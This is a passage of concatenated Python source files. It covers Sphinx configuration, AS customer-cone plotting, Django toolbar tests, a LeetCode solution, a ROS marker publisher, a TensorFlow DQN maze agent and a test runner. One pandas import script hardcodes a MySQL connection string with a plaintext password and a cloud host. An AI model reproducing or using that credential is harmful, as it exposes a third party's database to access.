------------------------------------------------\n\nlatex_elements = {\n # The paper size ('letterpaper' or 'a4paper').\n #\n # 'papersize': 'letterpaper',\n\n # The font size ('10pt', '11pt' or '12pt').\n #\n # 'pointsize': '10pt',\n\n # Additional stuff for the LaTeX preamble.\n #\n # 'preamble': '',\n\n # Latex figure (float) alignment\n #\n # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'learningbook.tex', 'learningbook Documentation',\n 'zzh', 'manual'),\n]\n\n# -- Options for manual page output ------------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'learningbook', 'learningbook Documentation',\n [author], 1)\n]\n\n# -- Options for Texinfo output ----------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'learningbook', 'learningbook Documentation',\n author, 'learningbook', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n# -- Options for Epub output -------------------------------------------------\n\n# Bibliographic Dublin Core info.\nepub_title = project\n\n# The unique identifier of the text. This can be a ISBN number\n# or the project homepage.\n#\n# epub_identifier = ''\n\n# A unique identification for the text.\n#\n# epub_uid = ''\n\n# A list of files that should not be packed into the epub file.\nepub_exclude_files = ['search.html']\n\n# -- Extension configuration -------------------------------------------------\n\n\nmathjax_config = {\n \"TeX\": {\n \"Macros\": {\n \"RR\": '{\\\\bf R}',\n \"bold\": ['{\\\\bf #1}', 1]\n }\n }\n}\n\n# -- Options for pdf output -------------------------------------------------\n# 配置项说明\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#latex-options\n# https://www.sphinx-doc.org/en/master/latex.html?highlight=pdf\n\nlatex_engine = \"xelatex\"\nlatex_documents = [(\"probability_model/index\", \"probability_model.tex\", \"用概率解释机器学习\", \"张振虎\", \"manual\", True), ]\n# If given, this must be the name of an image file (relative to the configuration directory)\n# that is the logo of the docs. It is placed at the top of the title page. Default: None.\nlatex_logo = None\nlatex_toplevel_sectioning = 'part'\n\n# A list of document names to append as an appendix to all manuals.\nlatex_appendices = []\n\n# 控制着 生成最后的索引\nlatex_domain_indices = True\n\n# If true, add page references after internal references.\n# This is very useful for printed copies of the manual. Default is False.\nlatex_show_pagerefs = True\n\n# -- Options for math -------------------------------------------------\n\nmath_number_all = True\nmath_eqref_format = \"公式({number})\"\n\nnumfig = True\nnumfig_secnum_depth = (2)\n\n# 一个支持定义、定理、证明指令的扩展插件\n# define theorems in LaTeX, using the starred command (provided by amsthm or ntheorem):\n# https://sphinxcontrib-proof.readthedocs.io/en/latest/faq/#numbered-theorems\nlatex_elements = {\n # # Additional stuff for the LaTeX preamble.\n # \"preamble\": r\"\"\"\n # \\usepackage{amsthm}\n #\n # \\newtheorem*{definition}{Definition}\n # \\newtheorem*{theorem}{Theorem}\n # \"\"\",\n \"releasename\": \"张振虎\",\n}\n","sub_path":"source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":9515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"269183204","text":"#!/usr/bin/python3\n\"\"\" plots AS-CustomerConeSize data:\n X-Axis: Minimum Customer Cone Size\n Y-Axis: Number of ASes matching\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\n# ------ SETUP DATA -------\n# list of ASes that have VP for a measurement platform\n# generating list of ASes that contain a VP for RIPE Atlas\n# ========================================================\nRIPE_LIST = []\nwith open('RIPE_LIST.txt') as fd:\n for string in fd:\n if string != 'None\\n':\n RIPE_LIST.append(int(string.rstrip('\\n')))\n# ========================================================\nSPEEDCHECKER_LIST = []\nwith open('speechecker_as_list.txt') as fd0:\n for num in fd0:\n SPEEDCHECKER_LIST.append(int(num.rstrip('\\n')))\n# ========================================================\nRR_RESPONSIVE_LIST = []\nwith open('responsive_as_list.txt') as fd2:\n for num in fd2:\n RR_RESPONSIVE_LIST.append(int(num.rstrip('\\n')))\n# ========================================================\nRR_REACHABLE_LIST = []\nwith open('reachable_as_list.txt') as fd3:\n for num in fd3:\n RR_REACHABLE_LIST.append(int(num.rstrip('\\n')))\n# ========================================================\nRIPE_RESPONSIVE_LIST = RIPE_LIST + RR_RESPONSIVE_LIST\nRIPE_REACHABLE_LIST = RIPE_LIST + RR_REACHABLE_LIST\nCC_RIPE_RESPONSIVE = {}\nCC_RIPE_REACHABLE = {}\nTS_LIST = []\n\n# dictionary to store AS-CustomerCone data\n# key = customer cone size\n# value = [number of ASes with customer cone size of the key,\n# number of ASes with a VP in the customer cone]\nCC_RIPE = {}\nCC_SPEEDCHECKER = {}\nCC_RR_RESPONSIVE = {}\nCC_RR_REACHABLE = {}\nCC_TS = {}\n\nCC_LIST = []\n\ndef generate_cc_data():\n \"\"\" generates list of CC_Data \"\"\"\n with open('20190101ASData.txt') as f:\n f.readline()\n f.readline()\n for line in f:\n curr_line = line.split()\n CC_LIST.append(curr_line)\n for i in range(len(CC_LIST)):\n for j in range(len(CC_LIST[i])):\n CC_LIST[i][j] = int(CC_LIST[i][j])\n\n# opens up Customer Cone Data and creates\n# data points associated with the given\n# list and dictionary\ndef generate_data(as_list, as_dictionary):\n \"\"\" generates data to plot \"\"\"\n # last seen CC_SIZE\n prev_cc_size = 0\n for i in range(len(CC_LIST)):\n AS = CC_LIST[i][0]\n # subtract 1 from the length of a customer cone because\n # the AS of the customer cone is included in the list\n length = len(CC_LIST[i]) - 1\n # checks to see if the length\n # is in the given dictionary\n # covers all cases where there is already a customer cone size\n # in the dictionary\n if length == prev_cc_size:\n if AS in as_list:\n # if the AS is in the list of ASes to check for\n # increment necessary values\n as_dictionary[length][0] = as_dictionary[length][0] + 1\n as_dictionary[length][1] = as_dictionary[length][1] + 1\n else:\n # else just increment the size of the set\n as_dictionary[length][1] = as_dictionary[length][1] + 1\n # if the length key needs to be added to the dictionary\n # covers all cases where customer cone size is max or less\n else:\n if prev_cc_size == 0:\n if AS in as_list:\n as_dictionary[length] = [1, 1]\n else:\n as_dictionary[length] = [0, 1]\n else:\n as_dictionary[length] = [0, 0]\n if AS in as_list:\n as_dictionary[length][0] = as_dictionary[prev_cc_size][0]+1\n as_dictionary[length][1] = as_dictionary[prev_cc_size][1]+1\n else:\n as_dictionary[length][0] = as_dictionary[prev_cc_size][0]+1\n prev_cc_size = length\ngenerate_cc_data()\ngenerate_data(RIPE_LIST, CC_RIPE)\ngenerate_data(RR_RESPONSIVE_LIST, CC_RR_RESPONSIVE)\ngenerate_data(RR_REACHABLE_LIST, CC_RR_REACHABLE)\ngenerate_data(RIPE_REACHABLE_LIST, CC_RIPE_REACHABLE)\ngenerate_data(RIPE_RESPONSIVE_LIST, CC_RIPE_RESPONSIVE)\ngenerate_data(SPEEDCHECKER_LIST, CC_SPEEDCHECKER)\n# ------- CLEAN UP DATA ---------\n# ========================================================\nRIPE_X_VALUES = list(CC_RIPE.keys())\nRIPE_Y_VALUES = []\nfor key in RIPE_X_VALUES:\n RIPE_Y_VALUES.append(CC_RIPE[key][0])\n# ========================================================\nRESPONSIVE_X_VALUES = list(CC_RR_RESPONSIVE.keys())\nRESPONSIVE_Y_VALUES = []\nfor key in RESPONSIVE_X_VALUES:\n RESPONSIVE_Y_VALUES.append(CC_RR_RESPONSIVE[key][0])\n# ========================================================\nREACHABLE_X_VALUES = list(CC_RR_REACHABLE.keys())\nREACHABLE_Y_VALUES = []\nfor key in REACHABLE_X_VALUES:\n REACHABLE_Y_VALUES.append(CC_RR_REACHABLE[key][0])\n\nRIPE_REACHABLE_X_VALUES = list(CC_RIPE_REACHABLE.keys())\nRIPE_REACHABLE_Y_VALUES = []\nfor key in RIPE_REACHABLE_X_VALUES:\n RIPE_REACHABLE_Y_VALUES.append(CC_RIPE_REACHABLE[key][0])\n\n# ========================================================\nRIPE_RESPONSIVE_X_VALUES = list(CC_RIPE_RESPONSIVE.keys())\nRIPE_RESPONSIVE_Y_VALUES = []\nfor key in RIPE_RESPONSIVE_X_VALUES:\n RIPE_RESPONSIVE_Y_VALUES.append(CC_RIPE_RESPONSIVE[key][0])\n\n# ------- PLOT DATA -------\n#plt.ylim(bottom=0)\n#plt.ylim(top=32000)\n#plt.xlim(left=0)\n#plt.xlim(right=len(list(REACHABLE_X_VALUES))+10)\n#print(REACHABLE_Y_VALUES)\n# PLOTTING RIPE VALUES ===================================\nplt.semilogx(RIPE_X_VALUES, RIPE_Y_VALUES, label=\"RIPE\")\nplt.semilogx(RESPONSIVE_X_VALUES, RESPONSIVE_Y_VALUES, label=\"RR-RESPONSIVE\")\nplt.semilogx(REACHABLE_X_VALUES, REACHABLE_Y_VALUES, label=\"RR-REACHABLE\")\nplt.semilogx(RIPE_REACHABLE_X_VALUES, RIPE_REACHABLE_Y_VALUES,\n label=\"RIPE-REACHABLE\")\nplt.semilogx(RIPE_RESPONSIVE_X_VALUES, RIPE_RESPONSIVE_Y_VALUES,\n label=\"RIPE-RESPONSIVE\")\n#plt.bar(REACHABLE_X_VALUES, REACHABLE_Y_VALUES, width=1, color='g')\n# PLOTTING RESPONSIVE VALUES =============================\n#ax.bar(RESPONSIVE_X_VALUES, RESPONSIVE_Y_VALUES, width=w, color='g', label=\"RR-RESPONSIVE\")\n# PLOTTING REACHABLE VALUES =============================-\n#ax.bar(REACHABLE_X_VALUES, REACHABLE_Y_VALUES, width=w, color='r', label=\"RR-REACHABLE\")\n# PLOT INFORMATION =======================================\n#plt.xticks([i for i in range(len(REACHABLE_X_VALUES))], REACHABLE_X_VALUES, rotation='90')\n#plt.xlabel('Minimum Customer Cone Size')\n#plt.ylabel('Number of ASes Intersecting')\n\n#plt.show()\nplt.xlabel('Minimum Customer Cone Size')\nplt.ylabel('# of ASes Hosting Vantage Points')\n#plt.ylim(top=4000)\n#plt.ylim(bottom=0)\n#plt.yticks(np.arange(0, 4000, 500))\nplt.legend()\nplt.show()\n","sub_path":"histogram2.py","file_name":"histogram2.py","file_ext":"py","file_size_in_byte":6720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"304898774","text":"import mock\nimport os\nimport logging\nlogging.disable(logging.CRITICAL)\n\nfrom bs4 import BeautifulSoup\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.template import Template, Context\nfrom django.test import TestCase\nfrom django.test.utils import override_settings\nfrom django.utils.translation import ugettext_lazy as _\nfrom staff_toolbar import toolbar_item, toolbar_title\n\n\n@override_settings(TEMPLATE_DIRS=('%s/templates' % os.path.abspath(os.path.dirname(__file__)),))\nclass StaffToolbarTestCase(TestCase):\n def setUp(self):\n self.request = mock.Mock()\n self.request.user = mock.Mock()\n self.request.user.configure_mock(**{'is_staff.return_value': True, })\n self.context = Context({'request': self.request})\n self.template = \"{% load staff_toolbar_tags %}{% render_staff_toolbar %}\"\n\n @override_settings(STAFF_TOOLBAR_ITEMS=(\n 'staff_toolbar.items.AdminIndexLink',\n 'staff_toolbar.items.ChangeObjectLink',\n 'staff_toolbar.items.LogoutLink',\n ))\n def test_simple_toolbar(self):\n rendered = Template(self.template).render(self.context)\n soup = BeautifulSoup(rendered)\n lis = soup.find_all('li')\n self.assertEqual(len(lis), 3)\n lis = [str(l).strip() for l in lis]\n self.assertEqual(lis[0], '
  • \\nAdmin dashboard\\n
  • ')\n self.assertRegexpMatches(lis[1], 'Change')\n self.assertEqual(lis[2], '
  • \\nLogout\\n
  • ')\n\n @override_settings(STAFF_TOOLBAR_ITEMS=(\n 'staff_toolbar.items.AdminIndexLink',\n 'staff_toolbar.items.ChangeObjectLink', (\n toolbar_title(_(\"User\")),\n toolbar_item('staff_toolbar.items.Link', url=reverse_lazy('admin:password_change'), title=_(\"Change password\")),\n 'staff_toolbar.items.LogoutLink',\n )\n ))\n def test_children_toolbar(self):\n rendered = Template(self.template).render(self.context)\n soup = BeautifulSoup(rendered)\n lis = soup.find_all('li')\n ls = [str(l).strip() for l in lis]\n self.assertEqual(ls[0], '
  • \\nAdmin dashboard\\n
  • ')\n self.assertRegexpMatches(ls[1], 'Change')\n\n ls = lis[2].find_all('ul')[0].find_all('li')\n ls = [str(l).replace('\\n', '') for l in ls]\n self.assertEqual(ls[0], '
  • User
  • ')\n self.assertEqual(ls[1], '
  • Change password
  • ')\n self.assertEqual(ls[2], '
  • Logout
  • ')\n\n @override_settings(STAFF_TOOLBAR_ITEMS=(\n 'staff_toolbar.items.AdminIndexLink', (\n toolbar_title(_(\"User\")), (\n 'staff_toolbar.items.AdminIndexLink',\n ),\n )\n ))\n def test_complex_toolbar(self):\n rendered = Template(self.template).render(self.context)\n soup = BeautifulSoup(rendered)\n lis = soup.find_all('li')\n ls = [str(l).strip() for l in lis]\n self.assertEqual(ls[0], '
  • \\nAdmin dashboard\\n
  • ')\n\n lis = lis[1].find_all('li')\n ls = [str(l).strip() for l in lis]\n self.assertEqual(ls[0], '
  • \\n
    User
    \\n
  • ')\n\n lis = lis[1].find_all('li')\n ls = [str(l).strip() for l in lis]\n self.assertEqual(ls[0], '
  • \\nAdmin dashboard\\n
  • ')\n","sub_path":"tests/test_staff_toolbar.py","file_name":"test_staff_toolbar.py","file_ext":"py","file_size_in_byte":3447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"59565114","text":"class Solution:\n def numSubarrayProductLessThanK(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n if k<=1: return 0\n res=0\n l, r, n, prod=0, 0, len(nums), 1\n while r=k:\n prod/=nums[l]\n l+=1\n res+=r-l+1\n r+=1\n return res\n","sub_path":"python/subarray-product-less-than-k.py","file_name":"subarray-product-less-than-k.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"558757620","text":"import pandas as pd\nimport os\n'''\n\n\n\n这个是最后的写入数据库脚本\n'''\n\n'''\n数据库读写要注意操作系统,\n从linux里面的表往windows里面放回有bug,数据会变少.\n所以从linux里面的数据还是要往linux主机里面放.操作永远在云上操作.本地不操作.因为操作系统不一样会有bug.\n'''\n\n\nimport os\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy import create_engine\n\n\n\nengine = create_engine('mysql+pymysql://aioc:i8NnFvh6t@mysql-cn-north-1-4fda8775bfcc4f32.public.jcloud.com:3306/city_aioc?charset=utf8', encoding=\"utf-8\")\n\ntmp=pd.read_csv('final2.csv')\n\n\n\ntmp.drop('Unnamed: 0',axis=1,inplace=True)\n\n\n\n\ntmp.columns=[ 'uuid',\n 'credit_code',\n 'reg_no',\n 'org_codes',\n 'ent_status',\n 'reg_cap' ,\n 'fr_name',\n 'industry_phy_name' ,\n 'es_date',\n 'op_from' ,\n 'op_to' ,\n 'reg_org_province',\n 'reg_org' ,\n 'ent_type' ,\n 'ent_name' ,\n 'dom' ,\n 'op_scope' ,\n 'approved_time',\n 'phone_number' ,\n 'email' ,\n 'old_name' ,\n 'valid_time',\n 'industry_large_name' ,\n 'industry_middle_name' ,\n 'county' ,\n 'create_time' ,\n 'update_time' ,\n 'is_deleted',\n 'state' ,\n 'city',\n 'website'\n\n ]\n\n\n\n# tmp.rename(columns={'regNo' : 'reg_no', 'orgCodes' : 'org_codes', '产业名称' : 'entStatus','产业分类':'param2','企业分类':'stock_type'}, inplace=True)\n# # tmp.drop(column=0)\n\n\n\n #第一个参数是tablename第二个是engine\n\n\n\ntmp.to_sql('ent_basic_info',engine,if_exists='append', index=False)\n\n\n\n\n# data_dict = pd.read_excel(path,sheet_name=[\"国家代码\", \"包装种类\"], encoding=\"UTF-8\")\n# data_dict2 = pd.read_excel(path,sheet_name=[\"币种代码\", \"货物通关代码\", \"联系人方式\"], header=None, encoding=\"UTF-8\")\n# country = pd.DataFrame(data_dict.get(\"国家代码\"))\n# wraptype = pd.DataFrame(data_dict.get(\"包装种类\"))\n# currcode = pd.DataFrame(data_dict2.get(\"币种代码\"))\n# carnetcode = pd.DataFrame(data_dict2.get(\"货物通关代码\"))\n# communication = pd.DataFrame(data_dict2.get(\"联系人方式\"))\n\n\n\n\n","sub_path":"这个文件夹用来存一个相关的项目包可以作为工具来使用/处理数据2/导入数据.py","file_name":"导入数据.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"585384821","text":"#!/usr/bin/env python\nimport numpy as np\nimport rospy\nfrom visualization_msgs.msg import Marker\nfrom geometry_msgs.msg import Point\nimport sys\n\ndef show_point(punto):\n rospy.init_node('rviz_publisher')\n rate = rospy.Rate(5)\n #transform from x,y points to x,y,z points\n p = Point() \n p.x = punto[0]\n p.y = punto[1]\n p.z = punto[2]\n iterations = 1\n points=[]\n points.append(p)\n frame='/goal'\n while not rospy.is_shutdown() and iterations <= 10:\n pub = rospy.Publisher(frame, Marker, queue_size = 100)\n marker = Marker()\n marker.header.frame_id = \"/world\"\n\n marker.type = marker.CUBE\n marker.action = marker.ADD\n marker.pose.orientation.w = 1\n\n marker.points = points;\n marker.pose.position=p\n t = rospy.Duration()\n marker.lifetime = t\n marker.scale.x = 0.1\n marker.scale.y = 0.1\n marker.scale.z = 0.1\n marker.color.a = 1.0\n marker.color.r = 1.0\n\n pub.publish(marker)\n rate.sleep()\n\nif __name__ == '__main__':\n\tpunto = [1,1,1]\n\tshow_point(punto)","sub_path":"src/fitness/point.py","file_name":"point.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"513271482","text":"# author='lwz'\n# coding:utf-8\n\nimport gym\nimport tensorflow as tf\nimport numpy as np\nimport random\nfrom collections import deque # 双端队列\n\n\n# Hyper Parameters for DQN\nGAMMA = 0.9 # discount factor for target Q\nINITIAL_EPSILON = 0.5 # starting value of epsilon\nFINAL_EPSILON = 0.01 # final value of epsilon\nREPLAY_SIZE = 10000 # experience replay buffer size\nTRAIN_TIMES = 10000\nBATCH_SIZE = 256 # size of minibatch\n\n\nclass DQN():\n # DQN Agent\n def __init__(self, env, conv_1=[16, 5, 1], conv_2=[32, 5, 1], pool_1=[2, 2], pool_2=[2, 2]):\n # init experience replay\n self.replay_buffer = deque() # 缓存经验\n # init some parameters\n self.time_step = 0\n self.epsilon = INITIAL_EPSILON\n self.state_n = 10\n self.state_dim = self.state_n # 状态数量\n self.action_dim = len(env.env.actions) # 行动数量\n\n self.conv_1 = conv_1\n self.conv_2 = conv_2\n self.pool_1 = pool_1\n self.pool_2 = pool_2\n\n self.width = env.env.width_cell\n self.height = env.env.height_cell\n self.node_num_2 = int(self.width / pool_1[1] / pool_2[1]) * \\\n int(self.height / pool_1[0] / pool_2[0])\n\n self.create_Q_network()\n self.create_training_method()\n\n # Init session\n self.session = tf.InteractiveSession()\n self.session.run(tf.global_variables_initializer())\n\n def create_Q_network(self):\n self.state_input = tf.placeholder(tf.float32, [None, self.height * self.width])\n image = tf.reshape(self.state_input, [-1, self.height, self.width, 1]) # (batch, height, width, channel)\n # -1 can also be used to infer推断 the shape\n\n # tf.nn.conv2d,一般在下载预训练好的模型时使用。\n\n conv1 = tf.layers.conv2d(inputs=image, filters=self.conv_1[0], kernel_size=self.conv_1[1],\n strides=self.conv_1[2], padding='same', activation=tf.nn.sigmoid)\n # shape (28, 28, 1) 第一组卷积层\n # inputs指需要做卷积的输入图像,它要求是一个Tensor\n # filters卷积核的数量\n # kernel_size: convolution window 卷积窗口 5*5\n # strides卷积时在图像每一维的步长,这是一个一维的向量,长度1\n # padding只能是\"SAME\",\"VALID\"其中之一,这个值决���了不同的卷积方式\n # 当其为‘SAME’时,表示卷积核可以停留在图像边缘\n # -> (28, 28, 16)\n # activation 正则化项\n\n pool1 = tf.layers.average_pooling2d(conv1, pool_size=self.pool_1[0], strides=self.pool_1[1])\n # 第一组池化层\n # the size of the pooling window 池化层大小2*2\n # 卷积时在图像每一维的步长,这是一个一维的向量,长度2\n # -> (14, 14, 16)\n\n conv2 = tf.layers.conv2d(pool1, self.conv_2[0], self.conv_2[1], self.conv_2[2]\n , 'same', activation=tf.nn.sigmoid)\n # -> (14, 14, 32)\n pool2 = tf.layers.max_pooling2d(conv2, self.pool_2[0], self.pool_2[1])\n # -> (7, 7, 32)\n # avgpool, maxpool\n\n flat = tf.reshape(pool2, [-1, self.node_num_2 * self.conv_2[0]]) # -> (7*7*32, )\n W0 = self.weight_variable([self.node_num_2 * self.conv_2[0], self.state_n])\n b0 = self.bias_variable([self.state_n])\n self.cnn_output = tf.nn.softmax(tf.matmul(flat, W0) + b0)\n\n # tf.metrics.accuracy计算精度,返回accuracy和update_operation\n\n # network weights\n W1 = self.weight_variable([self.state_dim, self.state_n])\n b1 = self.bias_variable([self.state_n])\n W2 = self.weight_variable([self.state_n, self.action_dim])\n b2 = self.bias_variable([self.action_dim])\n # input layer\n # self.state_input = tf.placeholder(\"float\", [None, self.state_dim])\n # hidden layers\n h_layer = tf.nn.relu(tf.matmul(self.cnn_output, W1) + b1)\n # h = relu(W1 * state + b1)\n # Q Value layer\n self.Q_value = tf.matmul(h_layer, W2) + b2\n # q = W2 * h + b2\n\n def create_training_method(self):\n self.action_input = tf.placeholder(\"float\", [None, self.action_dim])\n # one hot presentation\n self.y_input = tf.placeholder(\"float\", [None])\n # tf.reduce_sum(reduction_indices=1)) 按行累计求和\n # tf.multiply 点乘\n # Q_action q估计值\n Q_action = tf.reduce_sum(tf.multiply(self.Q_value, self.action_input), reduction_indices=1)\n # self.y_input q实际值\n self.cost = tf.reduce_mean(tf.square(self.y_input - Q_action))\n self.optimizer = tf.train.AdamOptimizer(0.0001).minimize(self.cost)\n\n def perceive(self, state, action, reward, next_state, done):\n one_hot_action = np.zeros(self.action_dim)\n one_hot_action[action] = 1\n # 缓存经验\n self.replay_buffer.append((state, one_hot_action, reward, next_state, done))\n # 删除过多的经验\n if len(self.replay_buffer) > REPLAY_SIZE:\n self.replay_buffer.popleft()\n # 训练\n if len(self.replay_buffer) > BATCH_SIZE:\n self.train_Q_network()\n\n def train_Q_network(self):\n self.time_step += 1\n # Step 1: obtain random minibatch from replay memory\n # 从记忆中取样\n # data = (0state, 1action, 2reward, 3next_state, 4done)\n minibatch = random.sample(self.replay_buffer, BATCH_SIZE)\n\n state_batch = [data[0] for data in minibatch]\n action_batch = [data[1] for data in minibatch]\n reward_batch = [data[2] for data in minibatch]\n next_state_batch = [data[3] for data in minibatch]\n\n # Step 2: calculate y\n y_batch = [] # q-learning的Q值\n Q_value_batch = self.Q_value.eval(feed_dict={self.state_input: next_state_batch})\n\n for i in range(0, BATCH_SIZE):\n done = minibatch[i][4]\n if done: # 终止状态\n y_batch.append(reward_batch[i])\n else: # 中间状态\n y_batch.append(reward_batch[i] + GAMMA * np.max(Q_value_batch[i]))\n\n self.optimizer.run(feed_dict={\n self.y_input: y_batch,\n self.action_input: action_batch,\n self.state_input: state_batch\n })\n\n def egreedy_action(self, state): # e 贪婪策略\n # cnn_class = self.cnn_output.eval(feed_dict={self.state_input:[state]})\n Q_value, cnn_class = self.session.run([self.Q_value, self.cnn_output], feed_dict={\n self.state_input: [state]})\n\n if random.random() <= self.epsilon: # 随机选择\n return random.randint(0, self.action_dim - 1), cnn_class\n else: # 贪婪策略\n return np.argmax(Q_value), cnn_class\n\n self.epsilon -= (INITIAL_EPSILON - FINAL_EPSILON) / TRAIN_TIMES\n # epsilon 递减\n\n def action(self, state):\n return np.argmax(self.Q_value.eval(feed_dict={\n self.state_input: [state]\n })[0])\n\n def weight_variable(self, shape):\n # 生成的值会遵循一个指定了平均值和标准差的正态分布,只保留\n # 两个标准差以内的值,超出的值会被弃掉重新生成。\n initial = tf.truncated_normal(shape)\n return tf.Variable(initial)\n\n def bias_variable(self, shape):\n initial = tf.constant(0.01, shape=shape)\n return tf.Variable(initial)\n\n# ---------------------------------------------------------\n# ---------------------------------------------------------\n# Hyper Parameters\n\nENV_NAME = 'GridMaze-v0'\nEPISODE = 10000 # Episode limitation 总训练次数\nSTEP = 40 # Step limitation in an episode 最大步长\nTEST = 20 # The number of experiment test every 100 episode 测试次数\nstate_mat = np.zeros([100, 10])\n\n\ndef get_maze(env, state):\n maze = env.env.maze\n maze[state] = 0.1\n return maze\n\n\ndef print_array(array, precision=4):\n context = ''\n for a in array:\n context += '|{:.4f} '.format(a)\n print(context)\n\n\ndef main():\n # initialize OpenAI Gym env and dqn agent\n env = gym.make(ENV_NAME)\n agent = DQN(env)\n\n for episode in range(EPISODE):\n # initialize task\n state = env.reset()\n\n # Train\n for step in range(STEP):\n maze_now = get_maze(env, state)\n action, cnn_class = agent.egreedy_action(maze_now)\n state_mat[episode % 100, :] = cnn_class\n # e-greedy action for train\n next_state, reward, done, _ = env.step(action)\n maze_next = get_maze(env, next_state)\n # Define reward for agent\n if done: # 终止状态\n reward = 1\n elif step == STEP - 1:\n reward = 0.08 - env.env.distance() / 100\n else:\n reward = -0.03\n\n agent.perceive(maze_now, action, reward, maze_next, done)\n # 存储经验--训练\n state = next_state\n\n if done:\n break\n\n # Test every 100 episodes\n if (episode + 1) % 10 == 0:\n print_array(np.mean(state_mat, axis=0))\n print_array(np.std(state_mat, axis=0))\n total_reward = 0\n for i in range(TEST):\n state = env.reset()\n for j in range(STEP):\n # env.render()\n maze_now = get_maze(env, state)\n action = agent.action(maze_now) # direct action for test\n state, reward, done, _ = env.step(action)\n total_reward += reward\n if done:\n break\n ave_reward = total_reward/TEST\n print('episode: {} Reward: {:.4f}'.format(episode + 1, ave_reward))\n if ave_reward == 200:\n break\n\n\nif __name__ == '__main__':\n main()","sub_path":"grid_maze_cnn.py","file_name":"grid_maze_cnn.py","file_ext":"py","file_size_in_byte":9977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"247754814","text":"import sys\nimport subprocess\n\nPHASE_PART_MAP = {\n \"phase_1\": {\n 1: (1, 2),\n 2: (3,),\n 3: (4, 5)\n },\n \"phase_2\": {\n 1: (1, 2, 3, 4),\n 2: (5, 6),\n 3: (7, 8),\n 4: (9, 10)\n },\n \"phase_3\": {\n 1: (1, 2),\n 2: (3, 4, 5),\n 3: (6, 7, 8)\n },\n \"phase_4\": {\n 1: (1, 2),\n 2: (3, 4, 5, 6),\n 3: (7, 8, 9, 10),\n 4: (11,),\n 5: (12, 13)\n }\n}\n\n\ndef invoke_ok(phase, suite=None):\n if suite is not None:\n cmd = [sys.executable, \"ok\", \"-q\", f\"{phase}\", \"--suite\", f\"{suite}\"]\n else:\n cmd = [sys.executable, \"ok\", \"-q\", f\"{phase}\", \"--local\"]\n process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = process.communicate()\n stdout, stderr = stdout.decode('utf-8'), stderr.decode('utf-8')\n return stdout\n\n\ndef main(phases):\n details = get_phase_details(phases)\n print(details)\n for key, value in details.items():\n if -1 in value:\n result = run_tests(phase=key)\n else:\n result = run_tests(phase=key, value=value)\n if not result:\n break\n\n\ndef run_tests(phase, value=None):\n if value is None:\n print(\"*\" * 69)\n print(f\"STARTED RUNNING TESTS FOR {phase}\")\n stdout = invoke_ok(phase)\n print(stdout)\n if stdout.find(\"# Error: expected\") != -1:\n return False\n print(f\"COMPLETED RUNNING TESTS FOR {phase}\")\n print(\"*\" * 69)\n else:\n for each in value:\n suite_numbers = PHASE_PART_MAP[phase][each]\n for suite in suite_numbers:\n print(\"*\" * 69)\n print(f\"STARTED RUNNING TESTS FOR {phase}, suite {suite}\")\n stdout = invoke_ok(phase, suite)\n print(stdout)\n if stdout.find(\"# Error: expected\") != -1:\n return False\n print(f\"COMPLETED RUNNING TESTS FOR {phase}, suite {suite}\")\n print(\"*\" * 69)\n return True\n\n\ndef get_phase_details(phases):\n from collections import defaultdict\n details = defaultdict(lambda: [])\n for each in phases:\n if each in PHASE_PART_MAP:\n details[each].append(-1)\n if \".\" in each:\n phase, part = each.split(\".\")\n if phase not in PHASE_PART_MAP:\n continue\n details[phase].append(int(part))\n return details\n\n\nif __name__ == '__main__':\n _phases = sys.argv[1:]\n _phases = [\"phase_\" + phase.strip() for phase in _phases if phase.strip()]\n main(_phases)\n","sub_path":"Tower_defense_game/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"486642199","text":"# playing with variables\r\n\r\nmy_name = \"Junaid Arham Zaki\"\r\n\r\nprint(f\"My Name is {my_name}\")\r\n\r\nprint(\"Mary Had a little lamb. its name is {}\".format('toto'))\r\nprint(\".\"*10) # Wow it printed dot 10 times.. thats kewl6 \r\nend1 = \"C\"\r\nend2 = \"h\"\r\nend3 = \"e\"\r\nend4 = \"e\"\r\nend5 = \"s\"\r\nend6 = \"e\"\r\nend7 = \"B\"\r\nend8 = \"u\"\r\nend9 = \"r\"\r\nend10 = \"g\"\r\nend11 = \"e\"\r\nend12 = \"r\"\r\n\r\nprint(end1 + end2 + end3 + end4 + end5 + end6, end= ' & ') # the end parameter tells the print statement how to end it which is by default a new line\r\nprint(end7 + end8 + end9 + end10 + end11 +end12)","sub_path":"Python/hard_way/print/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"447082690","text":"\"\"\"\r\n\"\"\"\r\n\r\n# Created on 2013.12.08\r\n#\r\n# Author: Giovanni Cannata\r\n#\r\n# Copyright 2013 - 2018 